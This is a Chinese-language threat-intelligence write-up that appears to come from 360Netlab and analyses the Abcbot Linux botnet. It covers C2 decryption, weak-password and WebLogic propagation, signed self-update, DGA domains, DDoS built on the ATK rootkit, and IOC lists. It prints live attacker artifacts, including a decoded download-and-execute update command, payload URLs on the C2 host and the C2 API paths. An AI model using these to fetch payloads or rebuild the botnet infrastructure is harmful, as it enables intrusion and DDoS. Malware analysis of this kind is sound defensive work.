<p>有意思的事情是，在10月21日的样本(md5:e95c9bae6e2b44c6f9b98e2dfd769675)借助了开源的<a href="https://github.com/millken/kdev/tree/master/4atk%201.05new">ATK Rootkit</a>实现DDoS功能。</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_rootkit-1.png" width="860px" />
<p>Abcbot对ATK源码文件<code>share_atk_svr.c</code>中的main函数做了修改，通过以下代码在127.0.0.1上监听SERV_PORT，实现了UDP服务器，其中SERV_PORT有4个，分别为<code>88,89,90,91</code>。</p>
<pre><code>sockfd = socket(AF_INET, SOCK_DGRAM, 0);
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
// servaddr.sin_addr.s_addr = htonl(INADDR_ANY); // 0.0.0.0
servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
servaddr.sin_port = htons(SERV_PORT);
</code></pre>
<p>当Abcbot接收到C2下发的指令后，将指令转发给UDP服务器，由ATK rootkit进行DDoS攻击。下图所示的代码片段，正是Abcbot将DDoS指令"BigUdp"转发到Rootkit。</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_kit.png" width="860px" />
<p>支持的指令如下所示：</p>
<ol>
<li>stop</li>
<li>syn</li>
<li>dns</li>
<li>bigudp</li>
</ol>
<p><strong>我们不认为这种方式进行DDoS攻击有优越性</strong>，ATK rootkit是以源码的方式存储在远程服务器上，</p>
<pre><code>xl_x64scan1="http://103.209.103.16:26800/atk.tar.gz"
xl_x64scan2="http://103.209.103.16:26800/atk.tar.gz"
</code></pre>
<p>这要求Abcbot想进行DDoS攻击前，必须进行下载源码，编译，加载rootkit模块，这个过程太长，任意一步有问题都会导致DDoS功能的失败。</p>
<p>而在10月30日的样本(md5:ae8f8cf967ca15a7689f2d1f79fbc5dc)则做出了更新，放弃了ATK rootkit，转而自身实现了9种攻击方法。</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_attack.png" width="860px" />
<h1 id="">总结</h1>
<p>在逆向分析的过程中，我们发现了Abcbot的许多怪异之处，诸如“重复上报本地设备信息，不注册DGA域名，TOR&Github资源服务器的不合理的剔除，Webserver功能没有真正启用”等，这给我们的一种感觉，Abcbot作者在试水各种技术。在这半年中的更新过程，与其说是功能的不断升级，不如说是对不同技术的取舍。通过整合不同技术，Abcbot慢慢从稚嫩走向成熟。我们不认为现阶段已是最终形态，现阶段明显存在许多可以改进的地方或待开发的功能。最终Abcbot是止步于此，还是走的更远，就让我们拭目以待吧。</p>
<h1 id="">联系我们</h1>
<p>感兴趣的读者，可以在<a href="https://twitter.com/360Netlab">twitter</a>或者在微信公众号 360Netlab上联系我们。</p>
<h1 id="ioc">IOC</h1>
<h2 id="c2resourceserver">C2 & Resource Server</h2>
<h3 id="10dgadomain">10月DGA Domain</h3>
<pre><code>
dgixyyfug.tk
dgixyyfug.com
dgixyyfug.pages.dev
guyfixdyg.tk
guyfixdyg.com
guyfixdyg.pages.dev
gfgiudyyx.tk
gfgiudyyx.com
gfgiudyyx.pages.dev
xgudyfyig.tk
xgudyfyig.com
xgudyfyig.pages.dev
yugxdigfy.tk
yugxdigfy.com
yugxdigfy.pages.dev
gdgiyyfxu.tk
gdgiyyfxu.com
gdgiyyfxu.pages.dev
gdiuyyfgx.tk
gdiuyyfgx.com
gdiuyyfgx.pages.dev
fgiudxyyg.tk
fgiudxyyg.com
fgiudxyyg.pages.dev
ygfydgxui.tk
ygfydgxui.com
ygfydgxui.pages.dev
</code></pre>
<h3 id="11dgadomain">11月DGA Domain</h3>
<pre><code>enjuyzkpr.tk
enjuyzkpr.com
enjuyzkpr.pages.dev
rpzkjueyn.tk
rpzkjueyn.com
rpzkjueyn.pages.dev
nkrjpezyu.tk
nkrjpezyu.com
nkrjpezyu.pages.dev
unpeykzjr.tk
unpeykzjr.com
unpeykzjr.pages.dev
ypnuejrkz.tk
ypnuejrkz.com
ypnuejrkz.pages.dev
nerjyzkup.tk
nerjyzkup.com
nerjyzkup.pages.dev
nejpzykru.tk
nejpzykru.com
nejpzykru.pages.dev
knjpeuzyr.tk
knjpeuzyr.com
knjpeuzyr.pages.dev
zrkyenupj.tk
zrkyenupj.com
zrkyenupj.pages.dev
</code></pre>
<h3 id="ip">IP</h3>
<pre><code>103.209.103.16 China|Hong_Kong|Unknown AS63916|IPTELECOM_Global
</code></pre>
<h3 id="tor">Tor</h3>
<pre><code>http://vgnaovx6prvmvoeabk5bxfummn3ltdur3h4ilnklvaox4lge2rp4nzqd.onion
</code></pre>
<h2 id="samplemd5">Sample MD5</h2>
<pre><code>0786c80bfcedb7da9c2d5edbe9ff662f
0f2619811ceaf85baa72f9c8f876a59a
1177c135f15951418219a97b3caad4e1
1a720cc74ecf330b8f13412de4d5646b
39d373434c947742168e07cc9010c992
3f277c7b4c427f9ef02cf8df4dd7be44
5d37a61451e5cfdeca272369ac032076
6e66456ffb457c52950cf05a6aaabe4a
6e66456ffb457c52950cf05a6aaabe4a
89ffd4f612ce604457446ee2a218de67
8f3558b29d594d33e69cea130f054717
a14d0188e2646d236173b230c59037c7
a17ea52318baa4e50e4b6d3a79fbd935
a4c7917787dc28429839c7d588956202
ae8f8cf967ca15a7689f2d1f79fbc5dc
baeb11c659b8e38ea3f01ad075e9df9a
c27d1c81a3c45776e31cfb384787c674
c64fbc7d3586d42583aa3a0dc3ea529f
e535215fad2ef0885e03ba111bd36e24
e95c9bae6e2b44c6f9b98e2dfd769675
</code></pre>
<h2 id="downloader">Downloader</h2>
<pre><code>http://103[.209.103.16:26800/atk.tar.gz
http://103[.209.103.16:26800/dd.sh
http://103[.209.103.16:26800/ff.sh
http://103[.209.103.16:26800/linux64-shell
http://103[.209.103.16:26800/xlinux
</code></pre>
<!--kg-card-end: markdown--> | 背景
业务上云、安全上云是近年来业界的发展趋势之一。360Netlab 从自身擅长的技术领域出发，也在持续关注云上安全事件和趋势。下面就是我们近期观察到的一起，被感染设备IP来自多个云供应商平台的安全事件。
2021年7月14日，360BotMon系统发现一个未知的ELF文件(a14d0188e2646d236173b230c59037c7)产生了大量扫描流量，经过分析，我们确定这是一个Go语言实现的Scanner，基于其源码路径中"abc-hello"字串，我们内部将它命名为Abcbot。
Abcbot在当时的时间节点上功能比较简单，可以看成是一个攻击Linux系统的扫描器，通过弱口令&Nday漏洞实现蠕虫式传播。一个有意思的事情是，Abcbot的源码路径中有“dga.go”字串，但是在样本中并没有发现相关的DGA实现，我们推测其作者会在后续的版本中补上这个功能，这让我们对这个家族多了几分留意。
随着时间的推移，Abcbot也在持续更新，如我们所料，它在后继的样本中加入了DGA特性。如今Abcbot除了拥有蠕虫式传僠的能力，还有自更新，Webserver，DDoS等功能。
时间来到2021年10月8日，Trend Micro发布了关于此家族的分析报告，报告中着重分析了传播Abcbot的前置SHELL脚本，但对Abcbot本身的功能几笔带过。
鉴于Abcbot处于持续开发中，功能在不断的更新，危害变得越来越大，我们决定撰写本文向社区分享我们的发现。
时间线
* 2021年7月14日，首次捕获abcbot，主要功能为Scanner,WebServer。
* 2021年7月22日，abcbot更新，在自更新的函数中加入dga相关代码。
* 2021年10月10日，abcbot更新，代码结构变化属于微调级别。
* 2021年10月12日，abcbot更新，代码结构变化属于重构级别。
* 2021年10月21日，abcbot更新，借助开源的ATK rootkit实现DDoS功能。
* 2021年10月30日，abcbot更新，放弃ATK rootkit,转向自身实现DDoS功能。
Abcbot概述
我们以2021年10月30日的最新样本为蓝本，将Abcbot定性为，一个攻击常见数据库和WEB大型服务器的僵尸网络，它通过弱口令&Nday漏洞实现蠕虫式传播，主要盈利手段为DDoS。
目前支持以下9种攻击方法：
* tls Attack
* tcp Attack
* udp Attack
* ace Attack
* hulk Attack
* httpGet Attack
* goldenEye Attack
* slowloris Attack
* bandwidthDrain Attack
它的基本流程图如下所示：
逆向分析
我们一共捕获了6个不同版本的abcbot样本，本文选取10月30日的样本为主要分析对象，它的基本信息如下所示：
MD5:ae8f8cf967ca15a7689f2d1f79fbc5dc
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Packer:upx
Date:2021-10-30
Abcbot使用标准的UPX壳加固自身，当它在被侵入的设备运行时，Abcbot通过将自身分别拷贝成以下文件以迷惑用户，随后相继启动dockerlogger，iptablesupdate进程。
/bin/dockerlogger
/usr/bin/dockerlogger
/etc/iptablesupdate
其中iptablesupdate 进程负责扫描感染新的设备，将本地设备信息上报给C2，等待执行C2下发的DDoS指令。
而dockerlogger进程则负责把被感染设备变成Webserver，将本地设备信息上报给C2，等待执行更新服务器下发的Updata指令。下文将从这些功能出发剖析Abcbot的具体实现。
0x01: 往C2上报设备信息
目前捕获的Abcbot的样本中都硬编码了一个加密的C2字串（“GEVQYYdjQdquLemMLYlkLLXLQmq7NmL7NYXu”），它使用Base64编码&XOR加密。
Base64的解码操作如下所示，可以看出Abcbot更改了Alphabet值，它使用的Alphabet为LMNu67PQX21pqrR3YZaDEFGbcVIJjkKWdefstghiBACHlSTUmO5noxyz04vw89+/，
将Base64解码后的结果和 0x31 0x32 0x33进行异或，就能得到以下最终的结果
http://103.209.103.16:26800
解密得到C2后，iptablesupdate 和dockerlogger进程都是都通过路径"/api/postip"向C2上报设备信息，设备信息的格式为OS:%v\x09CPU:%v\x09HX:%vh\x09os-name:%v\x09lanip:%v。事实上这两个进程收集的设备信息都是一样的，都是调用了abc_hello_util_Os_pz函数，唯一的差导如下图所示，可以看出dockerlogger进程会在上报的信息中附加"\td0.02"，iptablesupdate则附加“\ti0.02”，其中"d","i"字符暗示了上报流量的进程，"0.02"则类似版本（10月21日的样本中，版本为"0.01"）。
实际产生的流量如下所示：
0x02: 扫描传播
Abcbot通过“abc_hello_plugin_StartScan”函数负责感染新设备，它的逻辑是随机生成IP，检测该IP上可以被攻击网络服务的端口是否开放，进而选用相应的弱口令列表，或漏洞对服务进行攻击，最终完成蠕虫式扫描传播。
下面的代码片段展示了Abcbot尝试攻击Weblogic的过程。
在Abcbot样本中，可以很清楚的看到对相关网络服务攻击所用到的函数，
对照上面的函数列表可知Abcbot利用的的弱口令&漏洞一共有7种，详情如下所示：
1. SSH弱口令
2. FTP弱口令
3. PostgreSQL弱口令
4. Redis弱口令
5. Mssql弱口令
6. Mongo弱口令
7. WebLogic漏洞（CVE-2020-14882）
0x03: WebServer
Abcbot通过"abc_hello_web_StartServer"函数在被感染的设备上启动一个WebServer,监听的端口为26800，支持的方法以及路径如下表所示：
Method
Path
POST
/api/postip
POST
/api/configlist
POST
/api/getlist
POST
/api/check
实际效果如下图所示：
目前真正产生了用途的路径是"/api/check"，在扫描传播过程中，通过请求目标ip:26800/api/check，用于判断设备是否已经被感染。
其它的路径，只是保持连通性了，没有真正的用途，当访问它们是，只是会在"/tmp/.abchello"目录下生成日志文件。
事实上通过"curl - X POST"去测试C2，可以发现C2上也存在上面的4个路径。Abcbot的作者似乎想打破目前的C/S网络模型，把Bot在网络中的角色向Server靠近，因此我们推测Acbbot的网络结构，或许会转向P2P。
0x04: 自更新
7月22日，Abcbot引入“abc_hello_util_Updata”函数负责处理自更新，它的逻辑是向远程服务器请求"2.txt"资源，“2.txt”由2部分组成，它的格式为“Resource(hex格式)|数字签名(hex格式)”，当Bot成功拉取到2.txt后，会通过以下代码片段对当数字签名进行校验。
样本中硬编码的公钥为：
-----BEGIN RSA PUBLIC KEY-----
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL3zj6XQt7gYe+L6oI/IUvlJNZVsg/JX\x0AC7TCnl9p1JfBJFdx+W9FTFnO2Fr8/hAUtf1NpP/WG2fgeG4Nvdcuyq0CAwEAAQ==
-----END RSA PUBLIC KEY-----
校验成功后，对Resource进一步的分解，Resource的格式为"cmd|downloader url| crc32|cmd2"，当cmd为"alldown2"时，向downloadser url 请求下载，并校验文件的crc32 hash值，检测成功后，执行下载的文件完成自更新的过程。
实际获得的2.txt如下所示：
Resource部分以HEX格式解码后就是具体的升级指令了。
alldown2|http://103.209.103.16:26800/ff.sh|611043B5|posterrorurl
在这个过程中远程服务器域名的来源有以下3种：
1. 硬编码的TOR域名（解密方法与C2一样）
2. DGA算法生成前缀字串，分别与(.com，.tk，.pages.dev)3个后缀拼接成域名
3. DGA算法生成字串，当成github帐号，之后从这个github账号中获取升级资源
下图的代码片段正是Abcbot向DGA生成的域名，以及GITHUB仓库请求2.txt资源的过程。
各个时间节点的样本所采用的域名如下所示：
Date
MD5
Res Tor Domain
DGA Domain
DGA Github
07-14
a14d0188e2646d236173b230c59037c7
0
0
0
07-22
e535215fad2ef0885e03ba111bd36e24
1
3/month
1/month
10-10
6e66456ffb457c52950cf05a6aaabe4a
1
3/month
0
10-12
39d373434c947742168e07cc9010c992
1
3/month
0
10-21
e95c9bae6e2b44c6f9b98e2dfd769675
0
27/month
0
10-30
ae8f8cf967ca15a7689f2d1f79fbc5dc
0
27/month
0
10月Abcbot的DGA生成的部分域名如下所示：
dgixyyfug.tk
dgixyyfug.com
dgixyyfug.pages.dev
guyfixdyg.tk
guyfixdyg.com
guyfixdyg.pages.dev
当Abcbot开始使用DGA生成更新服务器的域名时，我们在第一时间进行了抢注了部分域名，这让我们能够度量它的规模。从目前的统计数据来看Abcbot的规模并不大，IP总数是261。
目前被感染主机的服务商分布如下所示：
0x05: DDoS
10月21日，Abcbot引入了"main_TimeDDos"函数负责处理DDoS攻击，它的逻辑是通过路径“/api/getlist”向C2请求DDoS指令，指令由2部分组成，“DDoS指令(hex格式)|指令数字签名(hex格式)”。当Bot收到指令后，复用上文自更新小节中的数字签名进行校验，校验成功后才能执行。
实际产生的流量如下所示，"|"字符前的"73746f70"字串，正是"stop"指令。
有意思的事情是，在10月21日的样本(md5:e95c9bae6e2b44c6f9b98e2dfd769675)借助了开源的ATK Rootkit实现DDoS功能。
Abcbot对ATK源码文件share_atk_svr.c中的main函数做了修改，通过以下代码在127.0.0.1上监听SERV_PORT，实现了UDP服务器，其中SERV_PORT有4个，分别为88,89,90,91。
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
// servaddr.sin_addr.s_addr = htonl(INADDR_ANY); // 0.0.0.0
servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
servaddr.sin_port = htons(SERV_PORT);
当Abcbot接收到C2下发的指令后，将指令转发给UDP服务器，由ATK rootkit进行DDoS攻击。下图所示的代码片段，正是Abcbot将DDoS指令"BigUdp"转发到Rootkit。
支持的指令如下所示：
1. stop
2. syn
3. dns
4. bigudp
我们不认为这种方式进行DDoS攻击有优越性，ATK rootkit是以源码的方式存储在远程服务器上，
xl_x64scan1="http://103.209.103.16:26800/atk.tar.gz"
xl_x64scan2="http://103.209.103.16:26800/atk.tar.gz"
这要求Abcbot想进行DDoS攻击前，必须进行下载源码，编译，加载rootkit模块，这个过程太长，任意一步有问题都会导致DDoS功能的失败。
而在10月30日的样本(md5:ae8f8cf967ca15a7689f2d1f79fbc5dc)则做出了更新，放弃了ATK rootkit，转而自身实现了9种攻击方法。
总结
在逆向分析的过程中，我们发现了Abcbot的许多怪异之处，诸如“重复上报本地设备信息，不注册DGA域名，TOR&Github资源服务器的不合理的剔除，Webserver功能没有真正启用”等，这给我们的一种感觉，Abcbot作者在试水各种技术。在这半年中的更新过程，与其说是功能的不断升级，不如说是对不同技术的取舍。通过整合不同技术，Abcbot慢慢从稚嫩走向成熟。我们不认为现阶段已是最终形态，现阶段明显存在许多可以改进的地方或待开发的功能。最终Abcbot是止步于此，还是走的更远，就让我们拭目以待吧。
联系我们
感兴趣的读者，可以在twitter或者在微信公众号 360Netlab上联系我们。
IOC
C2 & Resource Server
10月DGA Domain
dgixyyfug.tk
dgixyyfug.com
dgixyyfug.pages.dev
guyfixdyg.tk
guyfixdyg.com
guyfixdyg.pages.dev
gfgiudyyx.tk
gfgiudyyx.com
gfgiudyyx.pages.dev
xgudyfyig.tk
xgudyfyig.com
xgudyfyig.pages.dev
yugxdigfy.tk
yugxdigfy.com
yugxdigfy.pages.dev
gdgiyyfxu.tk
gdgiyyfxu.com
gdgiyyfxu.pages.dev
gdiuyyfgx.tk
gdiuyyfgx.com
gdiuyyfgx.pages.dev
fgiudxyyg.tk
fgiudxyyg.com
fgiudxyyg.pages.dev
ygfydgxui.tk
ygfydgxui.com
ygfydgxui.pages.dev
11月DGA Domain
enjuyzkpr.tk
enjuyzkpr.com
enjuyzkpr.pages.dev
rpzkjueyn.tk
rpzkjueyn.com
rpzkjueyn.pages.dev
nkrjpezyu.tk
nkrjpezyu.com
nkrjpezyu.pages.dev
unpeykzjr.tk
unpeykzjr.com
unpeykzjr.pages.dev
ypnuejrkz.tk
ypnuejrkz.com
ypnuejrkz.pages.dev
nerjyzkup.tk
nerjyzkup.com
nerjyzkup.pages.dev
nejpzykru.tk
nejpzykru.com
nejpzykru.pages.dev
knjpeuzyr.tk
knjpeuzyr.com
knjpeuzyr.pages.dev
zrkyenupj.tk
zrkyenupj.com
zrkyenupj.pages.dev
IP
103.209.103.16 China|Hong_Kong|Unknown AS63916|IPTELECOM_Global
Tor
http://vgnaovx6prvmvoeabk5bxfummn3ltdur3h4ilnklvaox4lge2rp4nzqd.onion
Sample MD5
0786c80bfcedb7da9c2d5edbe9ff662f
0f2619811ceaf85baa72f9c8f876a59a
1177c135f15951418219a97b3caad4e1
1a720cc74ecf330b8f13412de4d5646b
39d373434c947742168e07cc9010c992
3f277c7b4c427f9ef02cf8df4dd7be44
5d37a61451e5cfdeca272369ac032076
6e66456ffb457c52950cf05a6aaabe4a
6e66456ffb457c52950cf05a6aaabe4a
89ffd4f612ce604457446ee2a218de67
8f3558b29d594d33e69cea130f054717
a14d0188e2646d236173b230c59037c7
a17ea52318baa4e50e4b6d3a79fbd935
a4c7917787dc28429839c7d588956202
ae8f8cf967ca15a7689f2d1f79fbc5dc
baeb11c659b8e38ea3f01ad075e9df9a
c27d1c81a3c45776e31cfb384787c674
c64fbc7d3586d42583aa3a0dc3ea529f
e535215fad2ef0885e03ba111bd36e24
e95c9bae6e2b44c6f9b98e2dfd769675
Downloader
http://103[.209.103.16:26800/atk.tar.gz
http://103[.209.103.16:26800/dd.sh
http://103[.209.103.16:26800/ff.sh
http://103[.209.103.16:26800/linux64-shell
http://103[.209.103.16:26800/xlinux
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"\n\n# 背景\n业务上云、安全上云是近年来业界的发展趋势之一。360Netlab 从自身擅长的技术领域出发，也在持续关注云上安全事件和趋势。下面就是我们近期观察到的一起，被感染设备IP来自多个云供应商平台的安全事件。\n\n2021年7月14日，360BotMon系统发现一个未知的ELF文件(a14d0188e2646d236173b230c59037c7)产生了大量扫描流量，经过分析，我们确定这是一个Go语言实现的Scanner，基于其源码路径中\"abc-hello\"字串，我们内部将它命名为```Abcbot```。\n\nAbcbot在当时的时间节点上功能比较简单，可以看成是一个攻击Linux系统的扫描器，通过弱口令&Nday漏洞实现蠕虫式传播。一个有意思的事情是，Abcbot的源码路径中有“dga.go”字串，但是在样本中并没有发现相关的DGA实现，我们推测其作者会在后续的版本中补上这个功能，这让我们对这个家族多了几分留意。\n\n随着时间的推移，Abcbot也在持续更新，如我们所料，它在后继的样本中加入了DGA特性。如今Abcbot除了拥有蠕虫式传僠的能力，还有**自更新，Webserver，DDoS**等功能。\n\n 时间来到2021年10月8日，Trend Micro发布了关于此家族的[**分析报告**](https://www.trendmicro.com/en_us/research/21/j/actors-target-huawei-cloud-using-upgraded-linux-malware-.html)，报告中着重分析了传播Abcbot的前置SHELL脚本，但对Abcbot本身的功能几笔带过。\n\n**鉴于Abcbot处于持续开发中，功能在不断的更新，危害变得越来越大**，我们决定撰写本文向社区分享我们的发现。\n\n# 时间线\n\n- 2021年7月14日，首次捕获abcbot，主要功能为Scanner,WebServer。\n- 2021年7月22日，abcbot更新，在自更新的函数中加入dga相关代码。\n- 2021年10月10日，abcbot更新，代码结构变化属于微调级别。\n- 2021年10月12日，abcbot更新，代码结构变化属于重构级别。\n- 2021年10月21日，abcbot更新，借助开源的ATK rootkit实现DDoS功能。\n- 2021年10月30日，abcbot更新，放弃ATK rootkit,转向自身实现DDoS功能。\n\n\n\n# Abcbot概述\n我们以2021年10月30日的最新样本为蓝本，将Abcbot定性为，一个攻击常见数据库和WEB大型服务器的僵尸网络，它通过弱口令&Nday漏洞实现蠕虫式传播，主要盈利手段为DDoS。\n\n目前支持以下9种攻击方法：\n- tls Attack\n- tcp Attack\n- udp Attack\n- ace Attack\n- hulk Attack\n- httpGet Attack\n- goldenEye Attack\n- slowloris Attack\n- bandwidthDrain Attack\n\n\n\n它的基本流程图如下所示：\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_brief.png\" width=\"860px\" />\n\n# 逆向分析\n\n我们一共捕获了6个不同版本的abcbot样本，本文选取10月30日的样本为主要分析对象，它的基本信息如下所示：\n\n```\nMD5:ae8f8cf967ca15a7689f2d1f79fbc5dc\nELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped\nPacker:upx\nDate:2021-10-30\n```\n\nAbcbot使用标准的UPX壳加固自身，当它在被侵入的设备运行时，Abcbot通过将自身分别拷贝成以下文件以迷惑用户，随后相继启动dockerlogger，iptablesupdate进程。\n```\n/bin/dockerlogger\n/usr/bin/dockerlogger\n/etc/iptablesupdate\n```\n其中``iptablesupdate`` 进程负责扫描感染新的设备，将本地设备信息上报给C2，等待执行C2下发的DDoS指令。\n而``dockerlogger``进程则负责把被感染设备变成Webserver，将本地设备信息上报给C2，等待执行更新服务器下发的Updata指令。下文将从这些功能出发剖析Abcbot的具体实现。\n\n## 0x01: 往C2上报设备信息\n\n目前捕获的Abcbot的样本中都硬编码了一个加密的C2字串（“GEVQYYdjQdquLemMLYlkLLXLQmq7NmL7NYXu”），它使用Base64编码&XOR加密。\n\nBase64的解码操作如下所示，可以看出Abcbot更改了Alphabet值，它使用的Alphabet为``LMNu67PQX21pqrR3YZaDEFGbcVIJjkKWdefstghiBACHlSTUmO5noxyz04vw89+/``，\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_base.png\" width=\"860px\" />\n\n将Base64解码后的结果和 ``0x31 0x32 0x33``进行异或，就能得到以下最终的结果\n\n```\nhttp://103.209.103.16:26800\n```\n\n解密得到C2后，``iptablesupdate`` 和``dockerlogger``进程都是都通过路径\"/api/postip\"向C2上报设备信息，设备信息的格式为```OS:%v\\x09CPU:%v\\x09HX:%vh\\x09os-name:%v\\x09lanip:%v```。事实上这两个进程收集的设备信息都是一样的，都是调用了```abc_hello_util_Os_pz```函数，唯一的差导如下图所示，可以看出dockerlogger进程会在上报的信息中附加\"\\td0.02\"，iptablesupdate则附加“\\ti0.02”，其中\"d\",\"i\"字符暗示了上报流量的进程，\"0.02\"则类似版本（10月21日的样本中，版本为\"0.01\"）。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_twodiff.png\" width=\"860px\" />\n\n实际产生的流量如下所示：\n\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_reg.png\" width=\"860px\" />\n\n## 0x02: 扫描传播\n\nAbcbot通过“abc_hello_plugin_StartScan”函数负责感染新设备，它的逻辑是随机生成IP，检测该IP上可以被攻击网络服务的端口是否开放，进而选用相应的弱口令列表，或漏洞对服务进行攻击，最终完成蠕虫式扫描传播。\n\n下面的代码片段展示了Abcbot尝试攻击Weblogic的过程。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_logic.png\" width=\"860px\" />\n\n在Abcbot样本中，可以很清楚的看到对相关网络服务攻击所用到的函数，\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_serv.png\" width=\"860px\" />\n\n对照上面的函数列表可知Abcbot利用的的弱口令&漏洞一共有7种，详情如下所示：\n\n1. SSH弱口令\n2. FTP弱口令\n3. PostgreSQL弱口令\n4. Redis弱口令\n5. Mssql弱口令\n6. Mongo弱口令\n7. WebLogic漏洞（CVE-2020-14882）\n\n## 0x03: WebServer\n\nAbcbot通过\"abc_hello_web_StartServer\"函数在被感染的设备上启动一个WebServer,监听的端口为26800，支持的方法以及路径如下表所示：\n\n| Method | Path |\n| ------ | --------------- |\n| POST | /api/postip |\n| POST | /api/configlist |\n| POST | /api/getlist |\n| POST | /api/check |\n\n实际效果如下图所示：\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_web.png\" width=\"860px\" />\n\n目前真正产生了用途的路径是\"/api/check\"，在扫描传播过程中，通过请求``目标ip:26800/api/check``，用于判断设备是否已经被感染。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_check.png\" width=\"860px\" />\n\n其它的路径，只是保持连通性了，没有真正的用途，当访问它们是，只是会在\"/tmp/.abchello\"目录下生成日志文件。\n\n事实上通过\"curl - X POST\"去测试C2，可以发现C2上也存在上面的4个路径。Abcbot的作者似乎想打破目前的C/S网络模型，把Bot在网络中的角色向Server靠近，因此我们推测Acbbot的网络结构，或许会转向P2P。\n## 0x04: 自更新\n\n7月22日，Abcbot引入“abc_hello_util_Updata”函数负责处理自更新，它的逻辑是向远程服务器请求\"2.txt\"资源，“2.txt”由2部分组成，它的格式为“Resource(hex格式)|数字签名(hex格式)”，当Bot成功拉取到2.txt后，会通过以下代码片段对当数字签名进行校验。\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_verify.png\" width=\"860px\" />\n\n样本中硬编码的公钥为：\n\n```\n-----BEGIN RSA PUBLIC KEY-----\n\nMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL3zj6XQt7gYe+L6oI/IUvlJNZVsg/JX\\x0AC7TCnl9p1JfBJFdx+W9FTFnO2Fr8/hAUtf1NpP/WG2fgeG4Nvdcuyq0CAwEAAQ==\n\n-----END RSA PUBLIC KEY-----\n```\n\n校验成功后，对Resource进一步的分解，Resource的格式为\"cmd|downloader url| crc32|cmd2\"，当cmd为\"alldown2\"时，向downloadser url 请求下载，并校验文件的crc32 hash值，检测成功后，执行下载的文件完成自更新的过程。\n\n实际获得的2.txt如下所示：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_updata.png\" width=\"860px\" />\n\nResource部分以HEX格式解码后就是具体的升级指令了。\n\n```\nalldown2|http://103.209.103.16:26800/ff.sh|611043B5|posterrorurl\n```\n\n\n\n在这个过程中远程服务器域名的来源有以下3种：\n\n1. 硬编码的TOR域名（解密方法与C2一样）\n2. DGA算法生成前缀字串，分别与(.com，.tk，.pages.dev)3个后缀拼接成域名\n3. DGA算法生成字串，当成github帐号，之后从这个github账号中获取升级资源\n\n下图的代码片段正是Abcbot向DGA生成的域名，以及GITHUB仓库请求2.txt资源的过程。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_dga.png\" width=\"860px\" />\n\n各个时间节点的样本所采用的域名如下所示：\n\n| Date | MD5 | Res Tor Domain | DGA Domain | DGA Github |\n| ----- | -------------------------------- | -------------- | ---------- | ---------- |\n| 07-14 | a14d0188e2646d236173b230c59037c7 | 0 | 0 | 0 |\n| 07-22 | e535215fad2ef0885e03ba111bd36e24 | 1 | 3/month | 1/month |\n| 10-10 | 6e66456ffb457c52950cf05a6aaabe4a | 1 | 3/month | 0 |\n| 10-12 | 39d373434c947742168e07cc9010c992 | 1 | 3/month | 0 |\n| 10-21 | e95c9bae6e2b44c6f9b98e2dfd769675 | 0 | 27/month | 0 |\n| 10-30 | ae8f8cf967ca15a7689f2d1f79fbc5dc | 0 | 27/month | 0 |\n\n10月Abcbot的DGA生成的部分域名如下所示：\n\n```\ndgixyyfug.tk\ndgixyyfug.com\ndgixyyfug.pages.dev\nguyfixdyg.tk\nguyfixdyg.com\nguyfixdyg.pages.dev\n\n```\n\n当Abcbot开始使用DGA生成更新服务器的域名时，我们在第一时间进行了**抢注了部分域名**，这让我们能够度量它的规模。从目前的统计数据来看Abcbot的规模并不大，IP总数是261。\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_scale.png\" width=\"860px\" />\n\n目前被感染主机的服务商分布如下所示：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_static.png\" width=\"860px\" />\n\n## 0x05: DDoS\n\n10月21日，Abcbot引入了\"main_TimeDDos\"函数负责处理DDoS攻击，它的逻辑是通过路径“/api/getlist”向C2请求DDoS指令，指令由2部分组成，“DDoS指令(hex格式)|指令数字签名(hex格式)”。当Bot收到指令后，复用上文自更新小节中的数字签名进行校验，校验成功后才能执行。\n\n实际产生的流量如下所示，\"|\"字符前的\"73746f70\"字串，正是\"stop\"指令。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_ddos.png\" width=\"860px\" />\n\n有意思的事情是，在10月21日的样本(md5:e95c9bae6e2b44c6f9b98e2dfd769675)借助了开源的[ATK Rootkit](https://github.com/millken/kdev/tree/master/4atk%201.05new)实现DDoS功能。\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_rootkit-1.png\" width=\"860px\" />\n\nAbcbot对ATK源码文件``share_atk_svr.c``中的main函数做了修改，通过以下代码在127.0.0.1上监听SERV_PORT，实现了UDP服务器，其中SERV_PORT有4个，分别为``88,89,90,91``。\n\n```\nsockfd = socket(AF_INET, SOCK_DGRAM, 0);\nbzero(&servaddr, sizeof(servaddr));\nservaddr.sin_family = AF_INET;\n// servaddr.sin_addr.s_addr = htonl(INADDR_ANY); // 0.0.0.0 \nservaddr.sin_addr.s_addr = inet_addr(\"127.0.0.1\");\nservaddr.sin_port = htons(SERV_PORT);\n```\n\n当Abcbot接收到C2下发的指令后，将指令转发给UDP服务器，由ATK rootkit进行DDoS攻击。下图所示的代码片段，正是Abcbot将DDoS指令\"BigUdp\"转发到Rootkit。\n\n \n\n\n<img 